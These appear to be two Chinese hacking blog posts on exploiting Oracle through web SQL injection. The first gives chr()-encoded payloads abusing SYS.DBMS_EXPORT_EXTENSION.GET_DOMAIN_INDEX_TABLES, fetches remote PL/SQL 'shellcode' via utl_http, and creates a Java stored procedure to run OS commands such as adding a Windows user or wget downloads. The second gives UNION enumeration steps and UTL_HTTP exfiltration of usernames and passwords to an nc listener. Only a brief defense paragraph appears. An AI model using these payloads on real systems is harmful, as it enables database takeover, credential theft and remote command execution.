    刚才说的另外一种思路是直接获得系统的shell,在windows环境下,oracle是以服务的形式启动的,这样通过web注射就可以直接获得system权限,是非常诱人的。我们来看看如何操作吧!首先当然要用到我们上面说到的系统中比较少见的pl/sql注射,另外为了说明在php环境下对注射的处理,我们现在来假设我们的入侵环境是在php+Oracle上面,并且防火墙已经限制了对oracle端口的直接访问,如果是开放的话用网络上的直接添加系统帐户的方法也很容易成功!
    首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--','SYS',0,'1',0)=''


    这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是

    DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--



    可以看到DBMS_OUTPUT".PUT(:P1);与END;--之间的所有部分都是原有漏洞注射语句的地方,里面是''是因为我们要提交进',但是外层将字符串括起来的正是',所以需要对'进行转义,用的就是'',后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是:

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0)


    我们要执行多语句,并且不希望见到会被php处理的'的话就要对这个进行简单地再变形,多语句里如果出现'的话需要用''转义。

    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)


    没有出现',并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是

    list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--


    呵呵,前面第一个loveshell'不被影响是因为会被转成loveshell\',而这个被oracle看作是loveshell\这个字符串后面跟一个',完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用

list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一个非法的sql语句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--


    如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧!

    list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--


    对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。
    好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的'变成'',为什么要这样前面讲过了。

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command)     throws IOException {Runtime.getRuntime().exec(command);}};'';END;';


    这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';


    这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试

    将shellcode.txt内容换成

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';


    或者在linux下就是

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net -O /tmp/loveshell'''');end;'';END;';


    呵呵,有可能成功,但是也有可能出现类似于下面的情况

    ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission
<<ALL FILES>> execute) has not been granted to LOVESHELL. The PL/SQL to grant
this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' )
ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
ORA-06512: at line 1


    没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<<ALL FILES>>'''',''''execute'''');end;'';END;';


    各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
    根据自己的情况将这个语句类似的语句放到shellcode.txt里执行,然后就可以顺利地执行命令了。java本身是很强大的,直接返回shell也是可能的。当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin    fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line);    if (utl_file.is_open(fd) = true) then        utl_file.fclose(fd);    end if;end;'';END;';


    这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';


    这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';

 

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';



    注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。    

五、环境限制

    上面演示的是用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的漏洞,漏洞跟版本有很大关系,所以上面的信息探测也比较重要。实际上,在早点的8i版本里也有类似的漏洞,ctxsys.driload.validate_stmt('grant dba to scott')这样的形式可以直接以高权限身份执行各种Oracle语句,也可以相应地用在web环境注射里。只要存在可用来执行多语句的漏洞,web注射就有非常大的利用价值。

六、关于防护

    首先就是尽量有好的编程习惯,避免使用字符串连接的方式来执行Sql语句,如果一定要采用字符串连接方式来执行Sql,那也对进入的参数必须做好过滤,是数字类型的话就强制为数字,是字符串类型的就要做好过滤,从数据库等其他途径过来的数据也必须做好验证,在web app上杜绝Sql注射漏洞。另外在Oralce方面就是要做好对1521端口的防火墙过滤,避免被人直接登陆,对一些不需要的包和存储过程可以考虑删除,对一些Sql注射漏洞也要及时做好补丁,避免数据库的沦陷。

参考资料及网站

    1    http://www.milw0rm.com/
      2    《The_Oracle_Hacker's_Handbook_Hacking_and_Defending_Oracle》
    3    http://blog.csdn.net/kj021320/archive/2007/08/28/1762769.aspx
      4    http://www.red-database-security.com/

Tags: oracle

oracle注入经典文章

Submitted by admin
2009, October 1, 7:45 PM

大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好...
oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限..
先说下数据库的注释:access支持null和%00注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视
这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库
现在来说注入:
第一种方法使用dual系统表
一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url%2B返回正常 url"%2Basdfg返回出错(asdfg是随便输入的字符串)
二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by
三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual)
四、进行注入假设:www.abc.com/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处
1.判断oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual
2.判断当前连接用户 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual
3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表
4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password)
5.爆字段内容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了

第二种方法配合utl_http存储过程
如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。OK既然是反回信息我们先在本地用NC监听,然后使用"and UTL_HTTP.request(http://IP:2009/||(查询语句))=1--"这样的形式。
本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--"
成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交
"and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--"
假设爆出第一个库的名字为SYS。继续爆第二个库名,提交
"and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此类推,爆出所有的库
爆表语句如下
提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--"
SYS库中第一个表为xxx。继续提交
"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--"
以此类推爆出SYS库中所有的表;如果需要爆表里有多少个列可以用
"and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--"
或者想要爆第一个列名可以使用
"and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--"
爆第二个列名使用
"and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一个爆出的列名))=1--"
以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交
"and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--"
爆密码提交
"and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--"
首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多语句]END;--,SYS,0,1,0)
多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。到这里我们的语句就构造完了。
"and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--"
但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)
||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0--
远程地址的1.txt内容为
EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command)     throws IOException {Runtime.getRuntime().exec(command);}};;END;

不知道大家有没有注意看,第二种使用utl_http存储过程使用的注入语句和使用dual表来猜基本上一样。

Tags: oracle